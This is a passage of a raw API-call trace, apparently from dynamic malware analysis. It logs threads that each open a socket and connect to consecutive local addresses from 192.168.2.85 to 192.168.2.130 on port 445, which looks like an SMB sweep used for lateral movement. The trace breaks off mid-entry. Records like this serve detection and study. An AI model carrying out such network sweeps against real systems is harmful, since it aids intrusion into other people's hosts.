[0140.173] inet_addr (cp="192.168.2.85") returned 0x5502a8c0 [0140.173] htons (hostshort=0x1bd) returned 0xbd01 [0140.173] connect (s=0x107c, name=0x5a5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.85"), namelen=16) Thread: id = 1023 os_tid = 0x17c0 [0140.329] GetCurrentThreadId () returned 0x17c0 [0140.329] GetCurrentThreadId () returned 0x17c0 [0140.329] GetCurrentThreadId () returned 0x17c0 [0140.329] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5b9fdf0 | out: lpWSAData=0x5b9fdf0) returned 0 [0140.329] socket (af=2, type=1, protocol=0) returned 0x78c [0140.329] inet_addr (cp="192.168.2.86") returned 0x5602a8c0 [0140.329] htons (hostshort=0x1bd) returned 0xbd01 [0140.329] connect (s=0x78c, name=0x5b9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.86"), namelen=16) Thread: id = 1024 os_tid = 0x17c8 [0140.425] GetCurrentThreadId () returned 0x17c8 [0140.425] GetCurrentThreadId () returned 0x17c8 [0140.425] GetCurrentThreadId () returned 0x17c8 [0140.425] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5cdfdf0 | out: lpWSAData=0x5cdfdf0) returned 0 [0140.425] socket (af=2, type=1, protocol=0) returned 0x106c [0140.425] inet_addr (cp="192.168.2.87") returned 0x5702a8c0 [0140.425] htons (hostshort=0x1bd) returned 0xbd01 [0140.425] connect (s=0x106c, name=0x5cdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.87"), namelen=16) Thread: id = 1025 os_tid = 0x17cc [0140.518] GetCurrentThreadId () returned 0x17cc [0140.518] GetCurrentThreadId () returned 0x17cc [0140.518] GetCurrentThreadId () returned 0x17cc [0140.518] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1239fdf0 | out: lpWSAData=0x1239fdf0) returned 0 [0140.518] socket (af=2, type=1, protocol=0) returned 0x9e8 [0140.519] inet_addr (cp="192.168.2.88") returned 0x5802a8c0 [0140.519] htons (hostshort=0x1bd) returned 0xbd01 [0140.519] connect (s=0x9e8, name=0x1239fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.88"), namelen=16) Thread: id = 1026 os_tid = 0x17d0 [0140.611] GetCurrentThreadId () returned 0x17d0 [0140.611] GetCurrentThreadId () returned 0x17d0 [0140.611] GetCurrentThreadId () returned 0x17d0 [0140.611] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5e1fdf0 | out: lpWSAData=0x5e1fdf0) returned 0 [0140.611] socket (af=2, type=1, protocol=0) returned 0x1048 [0140.611] inet_addr (cp="192.168.2.89") returned 0x5902a8c0 [0140.611] htons (hostshort=0x1bd) returned 0xbd01 [0140.611] connect (s=0x1048, name=0x5e1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.89"), namelen=16) Thread: id = 1027 os_tid = 0x17d4 [0140.704] GetCurrentThreadId () returned 0x17d4 [0140.704] GetCurrentThreadId () returned 0x17d4 [0140.704] GetCurrentThreadId () returned 0x17d4 [0140.704] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x124dfdf0 | out: lpWSAData=0x124dfdf0) returned 0 [0140.704] socket (af=2, type=1, protocol=0) returned 0x1030 [0140.704] inet_addr (cp="192.168.2.90") returned 0x5a02a8c0 [0140.704] htons (hostshort=0x1bd) returned 0xbd01 [0140.704] connect (s=0x1030, name=0x124dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.90"), namelen=16) Thread: id = 1028 os_tid = 0x17d8 [0140.797] GetCurrentThreadId () returned 0x17d8 [0140.797] GetCurrentThreadId () returned 0x17d8 [0140.797] GetCurrentThreadId () returned 0x17d8 [0140.797] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x5f5fdf0 | out: lpWSAData=0x5f5fdf0) returned 0 [0140.797] socket (af=2, type=1, protocol=0) returned 0x1014 [0140.797] inet_addr (cp="192.168.2.91") returned 0x5b02a8c0 [0140.797] htons (hostshort=0x1bd) returned 0xbd01 [0140.797] connect (s=0x1014, name=0x5f5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.91"), namelen=16) Thread: id = 1029 os_tid = 0x17dc [0140.971] GetCurrentThreadId () returned 0x17dc [0140.971] GetCurrentThreadId () returned 0x17dc [0140.971] GetCurrentThreadId () returned 0x17dc [0140.971] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1261fdf0 | out: lpWSAData=0x1261fdf0) returned 0 [0140.971] socket (af=2, type=1, protocol=0) returned 0x968 [0140.971] inet_addr (cp="192.168.2.92") returned 0x5c02a8c0 [0140.971] htons (hostshort=0x1bd) returned 0xbd01 [0140.971] connect (s=0x968, name=0x1261fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.92"), namelen=16) Thread: id = 1030 os_tid = 0x17e0 [0141.047] GetCurrentThreadId () returned 0x17e0 [0141.048] GetCurrentThreadId () returned 0x17e0 [0141.048] GetCurrentThreadId () returned 0x17e0 [0141.048] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x609fdf0 | out: lpWSAData=0x609fdf0) returned 0 [0141.048] socket (af=2, type=1, protocol=0) returned 0xa90 [0141.048] inet_addr (cp="192.168.2.93") returned 0x5d02a8c0 [0141.048] htons (hostshort=0x1bd) returned 0xbd01 [0141.048] connect (s=0xa90, name=0x609fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.93"), namelen=16) Thread: id = 1031 os_tid = 0x17e8 [0141.159] GetCurrentThreadId () returned 0x17e8 [0141.159] GetCurrentThreadId () returned 0x17e8 [0141.159] GetCurrentThreadId () returned 0x17e8 [0141.159] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x61dfdf0 | out: lpWSAData=0x61dfdf0) returned 0 [0141.159] socket (af=2, type=1, protocol=0) returned 0xff0 [0141.159] inet_addr (cp="192.168.2.94") returned 0x5e02a8c0 [0141.159] htons (hostshort=0x1bd) returned 0xbd01 [0141.159] connect (s=0xff0, name=0x61dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.94"), namelen=16) Thread: id = 1032 os_tid = 0x17ec [0141.275] GetCurrentThreadId () returned 0x17ec [0141.275] GetCurrentThreadId () returned 0x17ec [0141.275] GetCurrentThreadId () returned 0x17ec [0141.275] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x631fdf0 | out: lpWSAData=0x631fdf0) returned 0 [0141.275] socket (af=2, type=1, protocol=0) returned 0xff4 [0141.275] inet_addr (cp="192.168.2.95") returned 0x5f02a8c0 [0141.275] htons (hostshort=0x1bd) returned 0xbd01 [0141.275] connect (s=0xff4, name=0x631fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.95"), namelen=16) Thread: id = 1033 os_tid = 0x17f4 [0141.360] GetCurrentThreadId () returned 0x17f4 [0141.360] GetCurrentThreadId () returned 0x17f4 [0141.360] GetCurrentThreadId () returned 0x17f4 [0141.360] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1275fdf0 | out: lpWSAData=0x1275fdf0) returned 0 [0141.360] socket (af=2, type=1, protocol=0) returned 0xfec [0141.360] inet_addr (cp="192.168.2.96") returned 0x6002a8c0 [0141.360] htons (hostshort=0x1bd) returned 0xbd01 [0141.360] connect (s=0xfec, name=0x1275fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.96"), namelen=16) Thread: id = 1034 os_tid = 0x17f8 [0141.453] GetCurrentThreadId () returned 0x17f8 [0141.453] GetCurrentThreadId () returned 0x17f8 [0141.453] GetCurrentThreadId () returned 0x17f8 [0141.453] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1289fdf0 | out: lpWSAData=0x1289fdf0) returned 0 [0141.453] socket (af=2, type=1, protocol=0) returned 0xb50 [0141.454] inet_addr (cp="192.168.2.97") returned 0x6102a8c0 [0141.454] htons (hostshort=0x1bd) returned 0xbd01 [0141.454] connect (s=0xb50, name=0x1289fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.97"), namelen=16) Thread: id = 1035 os_tid = 0x17fc [0141.546] GetCurrentThreadId () returned 0x17fc [0141.546] GetCurrentThreadId () returned 0x17fc [0141.546] GetCurrentThreadId () returned 0x17fc [0141.546] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x645fdf0 | out: lpWSAData=0x645fdf0) returned 0 [0141.546] socket (af=2, type=1, protocol=0) returned 0xaac [0141.546] inet_addr (cp="192.168.2.98") returned 0x6202a8c0 [0141.546] htons (hostshort=0x1bd) returned 0xbd01 [0141.546] connect (s=0xaac, name=0x645fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.98"), namelen=16) Thread: id = 1036 os_tid = 0x364 [0141.639] GetCurrentThreadId () returned 0x364 [0141.639] GetCurrentThreadId () returned 0x364 [0141.639] GetCurrentThreadId () returned 0x364 [0141.639] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x659fdf0 | out: lpWSAData=0x659fdf0) returned 0 [0141.639] socket (af=2, type=1, protocol=0) returned 0xf58 [0141.639] inet_addr (cp="192.168.2.99") returned 0x6302a8c0 [0141.639] htons (hostshort=0x1bd) returned 0xbd01 [0141.639] connect (s=0xf58, name=0x659fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.99"), namelen=16) Thread: id = 1037 os_tid = 0x440 [0141.733] GetCurrentThreadId () returned 0x440 [0141.733] GetCurrentThreadId () returned 0x440 [0141.733] GetCurrentThreadId () returned 0x440 [0141.733] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x129dfdf0 | out: lpWSAData=0x129dfdf0) returned 0 [0141.733] socket (af=2, type=1, protocol=0) returned 0x6a0 [0141.733] inet_addr (cp="192.168.2.100") returned 0x6402a8c0 [0141.734] htons (hostshort=0x1bd) returned 0xbd01 [0141.734] connect (s=0x6a0, name=0x129dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.100"), namelen=16) Thread: id = 1038 os_tid = 0x438 [0141.841] GetCurrentThreadId () returned 0x438 [0141.841] GetCurrentThreadId () returned 0x438 [0141.841] GetCurrentThreadId () returned 0x438 [0141.841] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x66dfdf0 | out: lpWSAData=0x66dfdf0) returned 0 [0141.841] socket (af=2, type=1, protocol=0) returned 0xf38 [0141.841] inet_addr (cp="192.168.2.101") returned 0x6502a8c0 [0141.842] htons (hostshort=0x1bd) returned 0xbd01 [0141.842] connect (s=0xf38, name=0x66dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.101"), namelen=16) Thread: id = 1039 os_tid = 0x44c [0141.935] GetCurrentThreadId () returned 0x44c [0141.935] GetCurrentThreadId () returned 0x44c [0141.936] GetCurrentThreadId () returned 0x44c [0141.936] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12b1fdf0 | out: lpWSAData=0x12b1fdf0) returned 0 [0141.936] socket (af=2, type=1, protocol=0) returned 0xaf8 [0141.936] inet_addr (cp="192.168.2.102") returned 0x6602a8c0 [0141.936] htons (hostshort=0x1bd) returned 0xbd01 [0141.936] connect (s=0xaf8, name=0x12b1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.102"), namelen=16) Thread: id = 1040 os_tid = 0x144 [0142.030] GetCurrentThreadId () returned 0x144 [0142.030] GetCurrentThreadId () returned 0x144 [0142.030] GetCurrentThreadId () returned 0x144 [0142.030] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x681fdf0 | out: lpWSAData=0x681fdf0) returned 0 [0142.030] socket (af=2, type=1, protocol=0) returned 0xc48 [0142.030] inet_addr (cp="192.168.2.103") returned 0x6702a8c0 [0142.030] htons (hostshort=0x1bd) returned 0xbd01 [0142.030] connect (s=0xc48, name=0x681fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.103"), namelen=16) Thread: id = 1041 os_tid = 0x14c8 [0142.123] GetCurrentThreadId () returned 0x14c8 [0142.123] GetCurrentThreadId () returned 0x14c8 [0142.123] GetCurrentThreadId () returned 0x14c8 [0142.123] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x695fdf0 | out: lpWSAData=0x695fdf0) returned 0 [0142.123] socket (af=2, type=1, protocol=0) returned 0xf24 [0142.124] inet_addr (cp="192.168.2.104") returned 0x6802a8c0 [0142.124] htons (hostshort=0x1bd) returned 0xbd01 [0142.124] connect (s=0xf24, name=0x695fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.104"), namelen=16) Thread: id = 1042 os_tid = 0x4b0 [0142.219] GetCurrentThreadId () returned 0x4b0 [0142.219] GetCurrentThreadId () returned 0x4b0 [0142.219] GetCurrentThreadId () returned 0x4b0 [0142.219] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6a9fdf0 | out: lpWSAData=0x6a9fdf0) returned 0 [0142.219] socket (af=2, type=1, protocol=0) returned 0xc38 [0142.220] inet_addr (cp="192.168.2.105") returned 0x6902a8c0 [0142.220] htons (hostshort=0x1bd) returned 0xbd01 [0142.220] connect (s=0xc38, name=0x6a9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.105"), namelen=16) Thread: id = 1043 os_tid = 0xbc0 [0142.310] GetCurrentThreadId () returned 0xbc0 [0142.310] GetCurrentThreadId () returned 0xbc0 [0142.310] GetCurrentThreadId () returned 0xbc0 [0142.310] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6bdfdf0 | out: lpWSAData=0x6bdfdf0) returned 0 [0142.310] socket (af=2, type=1, protocol=0) returned 0xf2c [0142.311] inet_addr (cp="192.168.2.106") returned 0x6a02a8c0 [0142.311] htons (hostshort=0x1bd) returned 0xbd01 [0142.311] connect (s=0xf2c, name=0x6bdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.106"), namelen=16) Thread: id = 1044 os_tid = 0x434 [0142.404] GetCurrentThreadId () returned 0x434 [0142.404] GetCurrentThreadId () returned 0x434 [0142.404] GetCurrentThreadId () returned 0x434 [0142.404] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6d1fdf0 | out: lpWSAData=0x6d1fdf0) returned 0 [0142.404] socket (af=2, type=1, protocol=0) returned 0xec4 [0142.404] inet_addr (cp="192.168.2.107") returned 0x6b02a8c0 [0142.404] htons (hostshort=0x1bd) returned 0xbd01 [0142.404] connect (s=0xec4, name=0x6d1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.107"), namelen=16) Thread: id = 1045 os_tid = 0x6d4 [0142.499] GetCurrentThreadId () returned 0x6d4 [0142.499] GetCurrentThreadId () returned 0x6d4 [0142.499] GetCurrentThreadId () returned 0x6d4 [0142.499] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6e5fdf0 | out: lpWSAData=0x6e5fdf0) returned 0 [0142.499] socket (af=2, type=1, protocol=0) returned 0xbe4 [0142.500] inet_addr (cp="192.168.2.108") returned 0x6c02a8c0 [0142.500] htons (hostshort=0x1bd) returned 0xbd01 [0142.500] connect (s=0xbe4, name=0x6e5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.108"), namelen=16) Thread: id = 1046 os_tid = 0x688 [0142.591] GetCurrentThreadId () returned 0x688 [0142.591] GetCurrentThreadId () returned 0x688 [0142.591] GetCurrentThreadId () returned 0x688 [0142.591] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6f9fdf0 | out: lpWSAData=0x6f9fdf0) returned 0 [0142.591] socket (af=2, type=1, protocol=0) returned 0xeb8 [0142.591] inet_addr (cp="192.168.2.109") returned 0x6d02a8c0 [0142.591] htons (hostshort=0x1bd) returned 0xbd01 [0142.591] connect (s=0xeb8, name=0x6f9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.109"), namelen=16) Thread: id = 1047 os_tid = 0x504 [0142.686] GetCurrentThreadId () returned 0x504 [0142.686] GetCurrentThreadId () returned 0x504 [0142.686] GetCurrentThreadId () returned 0x504 [0142.686] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2eefdf0 | out: lpWSAData=0x2eefdf0) returned 0 [0142.686] socket (af=2, type=1, protocol=0) returned 0xbb4 [0142.686] inet_addr (cp="192.168.2.110") returned 0x6e02a8c0 [0142.686] htons (hostshort=0x1bd) returned 0xbd01 [0142.686] connect (s=0xbb4, name=0x2eefde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.110"), namelen=16) Thread: id = 1048 os_tid = 0x1420 [0142.788] GetCurrentThreadId () returned 0x1420 [0142.788] GetCurrentThreadId () returned 0x1420 [0142.788] GetCurrentThreadId () returned 0x1420 [0142.788] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x70dfdf0 | out: lpWSAData=0x70dfdf0) returned 0 [0142.788] socket (af=2, type=1, protocol=0) returned 0xbd0 [0142.788] inet_addr (cp="192.168.2.111") returned 0x6f02a8c0 [0142.788] htons (hostshort=0x1bd) returned 0xbd01 [0142.788] connect (s=0xbd0, name=0x70dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.111"), namelen=16) Thread: id = 1049 os_tid = 0x1410 [0142.872] GetCurrentThreadId () returned 0x1410 [0142.872] GetCurrentThreadId () returned 0x1410 [0142.872] GetCurrentThreadId () returned 0x1410 [0142.872] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x721fdf0 | out: lpWSAData=0x721fdf0) returned 0 [0142.872] socket (af=2, type=1, protocol=0) returned 0xeec [0142.873] inet_addr (cp="192.168.2.112") returned 0x7002a8c0 [0142.873] htons (hostshort=0x1bd) returned 0xbd01 [0142.873] connect (s=0xeec, name=0x721fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.112"), namelen=16) Thread: id = 1050 os_tid = 0x140c [0142.966] GetCurrentThreadId () returned 0x140c [0142.966] GetCurrentThreadId () returned 0x140c [0142.966] GetCurrentThreadId () returned 0x140c [0142.966] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x735fdf0 | out: lpWSAData=0x735fdf0) returned 0 [0142.966] socket (af=2, type=1, protocol=0) returned 0xee0 [0142.966] inet_addr (cp="192.168.2.113") returned 0x7102a8c0 [0142.966] htons (hostshort=0x1bd) returned 0xbd01 [0142.966] connect (s=0xee0, name=0x735fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.113"), namelen=16) Thread: id = 1051 os_tid = 0x1110 [0143.074] GetCurrentThreadId () returned 0x1110 [0143.074] GetCurrentThreadId () returned 0x1110 [0143.075] GetCurrentThreadId () returned 0x1110 [0143.075] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12c5fdf0 | out: lpWSAData=0x12c5fdf0) returned 0 [0143.075] socket (af=2, type=1, protocol=0) returned 0xe98 [0143.075] inet_addr (cp="192.168.2.114") returned 0x7202a8c0 [0143.075] htons (hostshort=0x1bd) returned 0xbd01 [0143.075] connect (s=0xe98, name=0x12c5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.114"), namelen=16) Thread: id = 1052 os_tid = 0x1114 [0143.120] GetCurrentThreadId () returned 0x1114 [0143.120] GetCurrentThreadId () returned 0x1114 [0143.120] GetCurrentThreadId () returned 0x1114 [0143.120] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12d9fdf0 | out: lpWSAData=0x12d9fdf0) returned 0 [0143.120] socket (af=2, type=1, protocol=0) returned 0xe7c [0143.121] inet_addr (cp="192.168.2.115") returned 0x7302a8c0 [0143.121] htons (hostshort=0x1bd) returned 0xbd01 [0143.121] connect (s=0xe7c, name=0x12d9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.115"), namelen=16) Thread: id = 1053 os_tid = 0xfe8 [0143.227] GetCurrentThreadId () returned 0xfe8 [0143.227] GetCurrentThreadId () returned 0xfe8 [0143.227] GetCurrentThreadId () returned 0xfe8 [0143.227] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12edfdf0 | out: lpWSAData=0x12edfdf0) returned 0 [0143.227] socket (af=2, type=1, protocol=0) returned 0xe6c [0143.227] inet_addr (cp="192.168.2.116") returned 0x7402a8c0 [0143.227] htons (hostshort=0x1bd) returned 0xbd01 [0143.227] connect (s=0xe6c, name=0x12edfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.116"), namelen=16) Thread: id = 1054 os_tid = 0xfb4 [0143.312] GetCurrentThreadId () returned 0xfb4 [0143.312] GetCurrentThreadId () returned 0xfb4 [0143.312] GetCurrentThreadId () returned 0xfb4 [0143.312] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1301fdf0 | out: lpWSAData=0x1301fdf0) returned 0 [0143.313] socket (af=2, type=1, protocol=0) returned 0xe44 [0143.313] inet_addr (cp="192.168.2.117") returned 0x7502a8c0 [0143.313] htons (hostshort=0x1bd) returned 0xbd01 [0143.313] connect (s=0xe44, name=0x1301fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.117"), namelen=16) Thread: id = 1055 os_tid = 0xfb0 [0143.403] GetCurrentThreadId () returned 0xfb0 [0143.404] GetCurrentThreadId () returned 0xfb0 [0143.404] GetCurrentThreadId () returned 0xfb0 [0143.404] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1315fdf0 | out: lpWSAData=0x1315fdf0) returned 0 [0143.404] socket (af=2, type=1, protocol=0) returned 0xdec [0143.404] inet_addr (cp="192.168.2.118") returned 0x7602a8c0 [0143.404] htons (hostshort=0x1bd) returned 0xbd01 [0143.404] connect (s=0xdec, name=0x1315fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.118"), namelen=16) Thread: id = 1056 os_tid = 0xfd8 [0143.497] GetCurrentThreadId () returned 0xfd8 [0143.497] GetCurrentThreadId () returned 0xfd8 [0143.497] GetCurrentThreadId () returned 0xfd8 [0143.497] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1329fdf0 | out: lpWSAData=0x1329fdf0) returned 0 [0143.497] socket (af=2, type=1, protocol=0) returned 0xdc4 [0143.497] inet_addr (cp="192.168.2.119") returned 0x7702a8c0 [0143.497] htons (hostshort=0x1bd) returned 0xbd01 [0143.497] connect (s=0xdc4, name=0x1329fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.119"), namelen=16) Thread: id = 1057 os_tid = 0x1560 [0143.590] GetCurrentThreadId () returned 0x1560 [0143.590] GetCurrentThreadId () returned 0x1560 [0143.590] GetCurrentThreadId () returned 0x1560 [0143.590] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x133dfdf0 | out: lpWSAData=0x133dfdf0) returned 0 [0143.590] socket (af=2, type=1, protocol=0) returned 0xdb8 [0143.591] inet_addr (cp="192.168.2.120") returned 0x7802a8c0 [0143.591] htons (hostshort=0x1bd) returned 0xbd01 [0143.591] connect (s=0xdb8, name=0x133dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.120"), namelen=16) Thread: id = 1058 os_tid = 0x6b8 [0143.683] GetCurrentThreadId () returned 0x6b8 [0143.683] GetCurrentThreadId () returned 0x6b8 [0143.683] GetCurrentThreadId () returned 0x6b8 [0143.683] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1351fdf0 | out: lpWSAData=0x1351fdf0) returned 0 [0143.683] socket (af=2, type=1, protocol=0) returned 0xdac [0143.683] inet_addr (cp="192.168.2.121") returned 0x7902a8c0 [0143.683] htons (hostshort=0x1bd) returned 0xbd01 [0143.683] connect (s=0xdac, name=0x1351fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.121"), namelen=16) Thread: id = 1059 os_tid = 0x141c [0143.793] GetCurrentThreadId () returned 0x141c [0143.793] GetCurrentThreadId () returned 0x141c [0143.793] GetCurrentThreadId () returned 0x141c [0143.793] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x749fdf0 | out: lpWSAData=0x749fdf0) returned 0 [0143.793] socket (af=2, type=1, protocol=0) returned 0xdf8 [0143.793] inet_addr (cp="192.168.2.122") returned 0x7a02a8c0 [0143.793] htons (hostshort=0x1bd) returned 0xbd01 [0143.793] connect (s=0xdf8, name=0x749fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.122"), namelen=16) Thread: id = 1060 os_tid = 0xfc8 [0143.899] GetCurrentThreadId () returned 0xfc8 [0143.899] GetCurrentThreadId () returned 0xfc8 [0143.899] GetCurrentThreadId () returned 0xfc8 [0143.899] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x75dfdf0 | out: lpWSAData=0x75dfdf0) returned 0 [0143.899] socket (af=2, type=1, protocol=0) returned 0xdfc [0143.900] inet_addr (cp="192.168.2.123") returned 0x7b02a8c0 [0143.900] htons (hostshort=0x1bd) returned 0xbd01 [0143.900] connect (s=0xdfc, name=0x75dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.123"), namelen=16) Thread: id = 1061 os_tid = 0x1610 [0143.949] GetCurrentThreadId () returned 0x1610 [0143.949] GetCurrentThreadId () returned 0x1610 [0143.949] GetCurrentThreadId () returned 0x1610 [0143.949] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x771fdf0 | out: lpWSAData=0x771fdf0) returned 0 [0143.949] socket (af=2, type=1, protocol=0) returned 0xc80 [0143.949] inet_addr (cp="192.168.2.124") returned 0x7c02a8c0 [0143.949] htons (hostshort=0x1bd) returned 0xbd01 [0143.949] connect (s=0xc80, name=0x771fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.124"), namelen=16) Thread: id = 1062 os_tid = 0x4cc [0144.042] GetCurrentThreadId () returned 0x4cc [0144.042] GetCurrentThreadId () returned 0x4cc [0144.042] GetCurrentThreadId () returned 0x4cc [0144.042] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x785fdf0 | out: lpWSAData=0x785fdf0) returned 0 [0144.042] socket (af=2, type=1, protocol=0) returned 0x684 [0144.042] inet_addr (cp="192.168.2.125") returned 0x7d02a8c0 [0144.042] htons (hostshort=0x1bd) returned 0xbd01 [0144.042] connect (s=0x684, name=0x785fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.125"), namelen=16) Thread: id = 1063 os_tid = 0x5ec [0144.137] GetCurrentThreadId () returned 0x5ec [0144.137] GetCurrentThreadId () returned 0x5ec [0144.137] GetCurrentThreadId () returned 0x5ec [0144.137] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x799fdf0 | out: lpWSAData=0x799fdf0) returned 0 [0144.137] socket (af=2, type=1, protocol=0) returned 0xa70 [0144.137] inet_addr (cp="192.168.2.126") returned 0x7e02a8c0 [0144.137] htons (hostshort=0x1bd) returned 0xbd01 [0144.137] connect (s=0xa70, name=0x799fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.126"), namelen=16) Thread: id = 1064 os_tid = 0x1628 [0144.229] GetCurrentThreadId () returned 0x1628 [0144.229] GetCurrentThreadId () returned 0x1628 [0144.229] GetCurrentThreadId () returned 0x1628 [0144.229] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7adfdf0 | out: lpWSAData=0x7adfdf0) returned 0 [0144.229] socket (af=2, type=1, protocol=0) returned 0x724 [0144.230] inet_addr (cp="192.168.2.127") returned 0x7f02a8c0 [0144.230] htons (hostshort=0x1bd) returned 0xbd01 [0144.230] connect (s=0x724, name=0x7adfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.127"), namelen=16) Thread: id = 1065 os_tid = 0x9e8 [0144.322] GetCurrentThreadId () returned 0x9e8 [0144.322] GetCurrentThreadId () returned 0x9e8 [0144.322] GetCurrentThreadId () returned 0x9e8 [0144.323] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7c1fdf0 | out: lpWSAData=0x7c1fdf0) returned 0 [0144.323] socket (af=2, type=1, protocol=0) returned 0x730 [0144.323] inet_addr (cp="192.168.2.128") returned 0x8002a8c0 [0144.323] htons (hostshort=0x1bd) returned 0xbd01 [0144.323] connect (s=0x730, name=0x7c1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.128"), namelen=16) Thread: id = 1066 os_tid = 0x11c4 [0144.417] GetCurrentThreadId () returned 0x11c4 [0144.417] GetCurrentThreadId () returned 0x11c4 [0144.417] GetCurrentThreadId () returned 0x11c4 [0144.417] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7d5fdf0 | out: lpWSAData=0x7d5fdf0) returned 0 [0144.417] socket (af=2, type=1, protocol=0) returned 0xa28 [0144.417] inet_addr (cp="192.168.2.129") returned 0x8102a8c0 [0144.417] htons (hostshort=0x1bd) returned 0xbd01 [0144.417] connect (s=0xa28, name=0x7d5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.129"), namelen=16) Thread: id = 1067 os_tid = 0x11b4 [0144.511] GetCurrentThreadId () returned 0x11b4 [0144.511] GetCurrentThreadId () returned 0x11b4 [0144.511] GetCurrentThreadId () returned 0x11b4 [0144.511] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7e9fdf0 | out: lpWSAData=0x7e9fdf0) returned 0 [0144.511] socket (af=2, type=1, protocol=0) returned 0xbc0 [0144.511] inet_addr (cp="192.168.2.130") returned 0x8202a8c0 [0144.511] htons (hostshort=0x1bd) returned 0xbd01 [0144.511] connect (s=0xbc0, name=0x7e9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.2.130"), namelen=16) Thread: id = 1068 os_tid = 0x1040 [0144.604] GetCurrentThreadId () returned 0x1040 [0144.604] GetCurrentThreadId () returned 0x1040 [0144.604] GetCurrentThreadId () returned 0x1040 [0144.604] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7fdfdf0 | out: lpWSAData=0x7fdfdf0) returned 0 [0144.604] socket (af=2, type=1, protocol=0) returned 0xae8 [0144.604] 